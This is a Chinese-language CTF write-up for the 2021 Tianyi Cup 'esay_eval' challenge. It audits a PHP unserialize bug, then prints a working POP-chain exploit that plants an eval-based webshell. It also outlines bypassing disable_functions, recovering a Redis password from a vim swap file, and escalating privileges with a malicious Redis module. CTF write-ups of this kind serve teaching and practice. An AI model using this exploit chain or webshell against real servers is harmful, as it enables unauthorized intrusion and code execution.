[天翼杯 2021]esay_eval

这道题很有知识,值得多看几眼

首先就是代码审计

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

这里还是比较简单的,算是常规的poc链构造题目

pop链是这样的

<?php
class a{
    public $code = "";
    function __call($method,$args){

    }
    function __wakeup(){
        $this->code = "";
    }
}
class b{
    function __destruct(){
        echo $this->a->a();
    }
}
$str = base64_encode('<?php @eval($_POST[a]);?>');
$B = new b();
$B->a = new a();
$B->a->code = "fputs(fopen('she.php', 'w'), base64_decode(\"$str\"));";
echo serialize($B);

上传payload后用webshell工具连接

然后会发现有限制,只能访问/var/www/html目录

然后我们需要点手段才能去访问根目录下的flag,有两个方法,简单的方法就是直接绕过disalbe_functions

 

另外一种就是下载config.php.swp文件,并用vim恢复出原始文件vim -r config.php.swap,接着另存为b.php :w b.php

然后我们发现了有redis的密码,我们可以利用这个密码来进行提权

首先先把redis的恶意提权模块上传到网站目录下面

接着加载这个模块,利用这个模块获得flag